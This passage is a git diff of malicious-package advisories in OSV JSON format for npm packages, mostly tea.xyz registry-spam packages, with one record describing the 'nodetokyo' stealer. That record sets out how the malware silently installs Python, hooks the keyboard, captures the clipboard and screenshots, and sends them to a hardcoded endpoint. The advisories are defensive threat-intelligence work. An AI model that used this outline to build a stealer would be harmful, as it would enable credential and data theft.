it.\n","affected":[{"package":{"name":"adilfaheem","ecosystem":"npm","purl":"pkg:npm/adilfaheem"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/adilfaheem/MAL-2025-170656.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-qfc8-px48-xx9p"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:10:26.261568446Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"df3ec428f89c77a35982ee24b679b829350d4b8dc792d4a1b27967e6fa3f9366","source":"amazon-inspector"},{"id":"GHSA-qfc8-px48-xx9p","import_time":"2026-11-18T19:17:37.794225916Z","modified_time":"2026-11-18T18:24:26Z","sha256":"1304d250e0ee8f6751d9d33bb94955ea0c4e926447da8c886606196b552221db","source":"ghsa-malware","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]} \ No newline at end of file diff --git a/data/npm/MAL-2025-170660.json b/data/npm/MAL-2025-170660.json index fe168a59cb..f1dc7cb750 100644 --- a/data/npm/MAL-2025-170660.json +++ b/data/npm/MAL-2025-170660.json @@ -1 +1 @@ -{"schema_version":"1.7.3","id":"MAL-2025-170660","published":"2025-11-12T18:00:57Z","modified":"2025-11-12T18:00:57Z","summary":"Malicious code in adilnabeel (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (06be0c879695905102a4db43344b3ade55d9ad3ead5ceca321abb0e2bff4f16f)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n","affected":[{"package":{"name":"adilnabeel","ecosystem":"npm","purl":"pkg:npm/adilnabeel"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/adilnabeel/MAL-2025-170660.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:10:21.0778261Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"06be0c879695905102a4db43344b3ade55d9ad3ead5ceca321abb0e2bff4f16f","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"MAL-2025-170660","published":"2025-11-12T18:00:57Z","modified":"2026-11-18T19:45:03.579116675Z","aliases":["GHSA-q7vw-jfcf-5h62"],"summary":"Malicious code in adilnabeel (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (06be0c879695905102a4db43344b3ade55d9ad3ead5ceca321abb0e2bff4f16f)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n\n## Source: ghsa-malware (7d18aeda87221f472ac26807e1d90c1b28b82a8dc61b4bf3ae0789d380afcc4f)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"adilnabeel","ecosystem":"npm","purl":"pkg:npm/adilnabeel"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/adilnabeel/MAL-2025-170660.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-q7vw-jfcf-5h62"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:10:21.0778261Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"06be0c879695905102a4db43344b3ade55d9ad3ead5ceca321abb0e2bff4f16f","source":"amazon-inspector"},{"id":"GHSA-q7vw-jfcf-5h62","import_time":"2026-11-18T19:17:37.792790737Z","modified_time":"2026-11-18T18:26:50Z","sha256":"7d18aeda87221f472ac26807e1d90c1b28b82a8dc61b4bf3ae0789d380afcc4f","source":"ghsa-malware","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]} \ No newline at end of file diff --git a/data/npm/MAL-2025-170665.json b/data/npm/MAL-2025-170665.json index 9a7f5bcf52..c43a9fbb6f 100644 --- a/data/npm/MAL-2025-170665.json +++ b/data/npm/MAL-2025-170665.json @@ -1 +1 @@ -{"schema_version":"1.7.3","id":"MAL-2025-170665","published":"2025-11-12T18:00:57Z","modified":"2025-11-12T18:00:57Z","summary":"Malicious code in adiwibowo (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (ef65bcf7279dcb2e1bc6dcedf89e910e392df4af4924a8f46f9a80e84b9c9da2)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n","affected":[{"package":{"name":"adiwibowo","ecosystem":"npm","purl":"pkg:npm/adiwibowo"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/adiwibowo/MAL-2025-170665.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:09:53.781295028Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"ef65bcf7279dcb2e1bc6dcedf89e910e392df4af4924a8f46f9a80e84b9c9da2","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"MAL-2025-170665","published":"2025-11-12T18:00:57Z","modified":"2026-11-18T19:45:04.566522493Z","aliases":["GHSA-85cw-8h66-5jfr"],"summary":"Malicious code in adiwibowo (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (ef65bcf7279dcb2e1bc6dcedf89e910e392df4af4924a8f46f9a80e84b9c9da2)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n\n## Source: ghsa-malware (5bdf77d3bf763bac78b88ad3480c5b4d93515e08972e8c5b4b94dcd0ff39c4ad)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"adiwibowo","ecosystem":"npm","purl":"pkg:npm/adiwibowo"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/adiwibowo/MAL-2025-170665.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-85cw-8h66-5jfr"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:09:53.781295028Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"ef65bcf7279dcb2e1bc6dcedf89e910e392df4af4924a8f46f9a80e84b9c9da2","source":"amazon-inspector"},{"id":"GHSA-85cw-8h66-5jfr","import_time":"2026-11-18T19:17:37.776668047Z","modified_time":"2026-11-18T18:29:38Z","sha256":"5bdf77d3bf763bac78b88ad3480c5b4d93515e08972e8c5b4b94dcd0ff39c4ad","source":"ghsa-malware","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]} \ No newline at end of file diff --git a/data/npm/MAL-2025-170674.json b/data/npm/MAL-2025-170674.json index 06098d7f82..5b7ca33452 100644 --- a/data/npm/MAL-2025-170674.json +++ b/data/npm/MAL-2025-170674.json @@ -1 +1 @@ -{"schema_version":"1.7.3","id":"MAL-2025-170674","published":"2025-11-12T18:00:57Z","modified":"2025-11-12T18:00:57Z","summary":"Malicious code in adnanwaleed (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (e9de8218cdb2c88c57a898f797875bc09b409ddda2d387d3d7082a0d8fee6010)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n","affected":[{"package":{"name":"adnanwaleed","ecosystem":"npm","purl":"pkg:npm/adnanwaleed"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/adnanwaleed/MAL-2025-170674.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:10:57.840133632Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"e9de8218cdb2c88c57a898f797875bc09b409ddda2d387d3d7082a0d8fee6010","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"MAL-2025-170674","published":"2025-11-12T18:00:57Z","modified":"2026-11-18T19:45:03.583876150Z","aliases":["GHSA-24fx-2xw3-w835"],"summary":"Malicious code in adnanwaleed (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (e9de8218cdb2c88c57a898f797875bc09b409ddda2d387d3d7082a0d8fee6010)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n\n## Source: ghsa-malware (0f3f06c9c23e0ff434b9340f42b572dc66bc71ad50e7aea6cded5b0f91267ae1)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"adnanwaleed","ecosystem":"npm","purl":"pkg:npm/adnanwaleed"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/adnanwaleed/MAL-2025-170674.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-24fx-2xw3-w835"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:10:57.840133632Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"e9de8218cdb2c88c57a898f797875bc09b409ddda2d387d3d7082a0d8fee6010","source":"amazon-inspector"},{"id":"GHSA-24fx-2xw3-w835","import_time":"2026-11-18T19:17:37.72073584Z","modified_time":"2026-11-18T18:50:39Z","sha256":"0f3f06c9c23e0ff434b9340f42b572dc66bc71ad50e7aea6cded5b0f91267ae1","source":"ghsa-malware","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]} \ No newline at end of file diff --git a/data/npm/MAL-2025-170675.json b/data/npm/MAL-2025-170675.json index a1a9187303..5620963a52 100644 --- a/data/npm/MAL-2025-170675.json +++ b/data/npm/MAL-2025-170675.json @@ -1 +1 @@ -{"schema_version":"1.7.3","id":"MAL-2025-170675","published":"2025-11-12T18:00:57Z","modified":"2025-11-12T18:00:57Z","summary":"Malicious code in adnanyahya (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (34b5a6dc434498753c10e3ab96635f69a026c3283c0776c974c6506590f1126e)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n","affected":[{"package":{"name":"adnanyahya","ecosystem":"npm","purl":"pkg:npm/adnanyahya"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/adnanyahya/MAL-2025-170675.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:10:36.803038955Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"34b5a6dc434498753c10e3ab96635f69a026c3283c0776c974c6506590f1126e","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"MAL-2025-170675","published":"2025-11-12T18:00:57Z","modified":"2026-11-18T19:45:03.570695112Z","aliases":["GHSA-266h-2r44-vrfv"],"summary":"Malicious code in adnanyahya (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (34b5a6dc434498753c10e3ab96635f69a026c3283c0776c974c6506590f1126e)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n\n## Source: ghsa-malware (0f16ea8c28f63ca190dd7dea7e18b9e149f024fb7fa699e15fb3885a1bc9e468)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"adnanyahya","ecosystem":"npm","purl":"pkg:npm/adnanyahya"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/adnanyahya/MAL-2025-170675.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-266h-2r44-vrfv"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:10:36.803038955Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"34b5a6dc434498753c10e3ab96635f69a026c3283c0776c974c6506590f1126e","source":"amazon-inspector"},{"id":"GHSA-266h-2r44-vrfv","import_time":"2026-11-18T19:17:37.769215118Z","modified_time":"2026-11-18T18:52:01Z","sha256":"0f16ea8c28f63ca190dd7dea7e18b9e149f024fb7fa699e15fb3885a1bc9e468","source":"ghsa-malware","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]} \ No newline at end of file diff --git a/data/npm/MAL-2025-170692.json b/data/npm/MAL-2025-170692.json index 357c43126b..c1191bc00a 100644 --- a/data/npm/MAL-2025-170692.json +++ b/data/npm/MAL-2025-170692.json @@ -1 +1 @@ -{"schema_version":"1.7.3","id":"MAL-2025-170692","published":"2025-11-12T18:00:57Z","modified":"2025-11-12T18:00:57Z","summary":"Malicious code in ahmad-basikal (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (b41156f912efa3932a6faa63e698fff9bd720adb931256103861616809f7910b)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n","affected":[{"package":{"name":"ahmad-basikal","ecosystem":"npm","purl":"pkg:npm/ahmad-basikal"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/ahmad-basikal/MAL-2025-170692.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:11:00.047395759Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"b41156f912efa3932a6faa63e698fff9bd720adb931256103861616809f7910b","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"MAL-2025-170692","published":"2025-11-12T18:00:57Z","modified":"2026-11-18T19:45:03.571522030Z","aliases":["GHSA-x524-w3hq-7h99"],"summary":"Malicious code in ahmad-basikal (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (b41156f912efa3932a6faa63e698fff9bd720adb931256103861616809f7910b)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n\n## Source: ghsa-malware (194e556abfd9031c31be090ef3e0ec55d244d9939038769cc14fc0ce3b30da47)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"ahmad-basikal","ecosystem":"npm","purl":"pkg:npm/ahmad-basikal"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/ahmad-basikal/MAL-2025-170692.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-x524-w3hq-7h99"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:11:00.047395759Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"b41156f912efa3932a6faa63e698fff9bd720adb931256103861616809f7910b","source":"amazon-inspector"},{"id":"GHSA-x524-w3hq-7h99","import_time":"2026-11-18T19:17:37.800236433Z","modified_time":"2026-11-18T18:53:43Z","sha256":"194e556abfd9031c31be090ef3e0ec55d244d9939038769cc14fc0ce3b30da47","source":"ghsa-malware","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]} \ No newline at end of file diff --git a/data/npm/MAL-2025-99194.json b/data/npm/MAL-2025-99194.json index 6ed23b0455..5d7df0972a 100644 --- a/data/npm/MAL-2025-99194.json +++ b/data/npm/MAL-2025-99194.json @@ -1 +1 @@ -{"schema_version":"1.7.3","id":"MAL-2025-99194","published":"2025-11-11T07:26:13Z","modified":"2025-11-11T07:26:13Z","summary":"Malicious code in administrative_lark_replicate_automation (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (c972ac231690e458947de1aabd655ba0d43a3b95922afb04c6e7fc3a67688d7b)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n","affected":[{"package":{"name":"administrative_lark_replicate_automation","ecosystem":"npm","purl":"pkg:npm/administrative_lark_replicate_automation"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/administrative_lark_replicate_automation/MAL-2025-99194.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-11T07:41:56.515906152Z","modified_time":"2025-11-11T07:26:13Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"c972ac231690e458947de1aabd655ba0d43a3b95922afb04c6e7fc3a67688d7b","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"MAL-2025-99194","published":"2025-11-11T07:26:13Z","modified":"2026-11-18T19:45:03.572303190Z","aliases":["GHSA-jhvj-53fv-pm4q"],"summary":"Malicious code in administrative_lark_replicate_automation (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (c972ac231690e458947de1aabd655ba0d43a3b95922afb04c6e7fc3a67688d7b)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n\n## Source: ghsa-malware (ed85bd26caf1d3539f0f741b3926223cbce94846925adb9fd401c122d993ae06)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"administrative_lark_replicate_automation","ecosystem":"npm","purl":"pkg:npm/administrative_lark_replicate_automation"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["2.4.2"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/administrative_lark_replicate_automation/MAL-2025-99194.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-jhvj-53fv-pm4q"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-11T07:41:56.515906152Z","modified_time":"2025-11-11T07:26:13Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"c972ac231690e458947de1aabd655ba0d43a3b95922afb04c6e7fc3a67688d7b","source":"amazon-inspector"},{"id":"GHSA-jhvj-53fv-pm4q","import_time":"2026-11-18T19:17:37.788988478Z","modified_time":"2026-11-18T18:31:34Z","sha256":"ed85bd26caf1d3539f0f741b3926223cbce94846925adb9fd401c122d993ae06","source":"ghsa-malware","versions":["2.4.2"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]} \ No newline at end of file diff --git a/data/npm/MAL-2026-16388.json b/data/npm/MAL-2026-16388.json index 7c441e545b..b2ee2c2f03 100644 --- a/data/npm/MAL-2026-16388.json +++ b/data/npm/MAL-2026-16388.json @@ -1 +1 @@ -{"schema_version":"1.9.0","id":"MAL-2026-16388","published":"2026-09-22T18:06:25Z","modified":"2026-09-22T18:45:05.952855613Z","summary":"Malicious code in nodetokyo (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (9ec0e3f7b963353d4d2928e12ca3898cce5100ed3e3537383faa9c7f9a93f203)\nThe package's declared main (launcher.js) executes launch() at module top level, so require('nodetokyo') automatically installs Python 3.12 (via winget or by downloading the python.org installer and running it silently), pip-installs pyperclip/keyboard/requests/pillow/pyautogui, and spawns a detached, window-hidden background process running the bundled Python payload. That payload polls the OS clipboard every 300ms and, in auto-scan mode, captures full-screen screenshots every 30s, POSTing {'text':...} and {'image': } to the hardcoded endpoint https://nodetokyo.vercel.app/api (see API_URL in the bundled script; clipboard_monitor()/scan_screen call session.post(API_URL,...)). The destination is not caller-configurable. The payload also registers global system-wide keyboard hooks via the Python keyboard module (keyboard.on_press with suppress=True; keyboard.add_hotkey('ctrl+c',...)) and renders an always-on-top Tk window with overrideredirect(True) and -transparentcolor white to remain visually hidden, with a Ctrl+Q panic_exit. Package keywords include 'stealth' and the description advertises a 'Stealth Assistant'. Whatever the installer copies to the clipboard — including passwords, tokens, and private messages — and whatever appears on screen is transmitted to the author's endpoint without a per-item prompt.\n","affected":[{"package":{"name":"nodetokyo","ecosystem":"npm","purl":"pkg:npm/nodetokyo"},"versions":["1.0.8"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"client/noderzero.py","sha256":"483cdd8305dc2d3e9f3030707787cf8f5adf0c9c4d66ff20199f8844715e0993","tlsh":"cdc2d876a0085859f663dc1f8996b5132e1e3e437a4ca528bcfcb9950fcc32685e1ef1"},{"path":"launcher.js","sha256":"cb532713f8c9e3dcf4001791df872e9457581beb90e4171fe98b196bf2e21f1f","tlsh":"2871217655e15338b962d69ddb4f51232013b013b248e8987daeb3844fce114c0b3bfa"}],"package_integrity":[{"filename":"nodetokyo-1.0.8.tgz","hashes":{"sha1":"ca9ff17c70e93737cbc6ab49e4e9a213592eafea","sha512_sri":"sha512-Zxl2tj31S5xCmGdbUa72+NOWNQBKsd5RlMVRyXsWbhxX6bckFCy42rU94hYYBqqzxKerpOUqSOPCEoJ3GBv+lw=="}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/nodetokyo/MAL-2026-16388.json"}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/nodetokyo/v/1.0.8"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-020295","import_time":"2026-09-22T18:23:45.103903358Z","modified_time":"2026-09-22T18:06:25Z","sha256":"9ec0e3f7b963353d4d2928e12ca3898cce5100ed3e3537383faa9c7f9a93f203","source":"amazon-inspector","versions":["1.0.8"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"MAL-2026-16388","published":"2026-09-22T18:06:25Z","modified":"2026-11-18T21:30:15.256608932Z","aliases":["GHSA-gx35-phhv-wc8w"],"summary":"Malicious code in nodetokyo (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (9ec0e3f7b963353d4d2928e12ca3898cce5100ed3e3537383faa9c7f9a93f203)\nThe package's declared main (launcher.js) executes launch() at module top level, so require('nodetokyo') automatically installs Python 3.12 (via winget or by downloading the python.org installer and running it silently), pip-installs pyperclip/keyboard/requests/pillow/pyautogui, and spawns a detached, window-hidden background process running the bundled Python payload. That payload polls the OS clipboard every 300ms and, in auto-scan mode, captures full-screen screenshots every 30s, POSTing {'text':...} and {'image': } to the hardcoded endpoint https://nodetokyo.vercel.app/api (see API_URL in the bundled script; clipboard_monitor()/scan_screen call session.post(API_URL,...)). The destination is not caller-configurable. The payload also registers global system-wide keyboard hooks via the Python keyboard module (keyboard.on_press with suppress=True; keyboard.add_hotkey('ctrl+c',...)) and renders an always-on-top Tk window with overrideredirect(True) and -transparentcolor white to remain visually hidden, with a Ctrl+Q panic_exit. Package keywords include 'stealth' and the description advertises a 'Stealth Assistant'. Whatever the installer copies to the 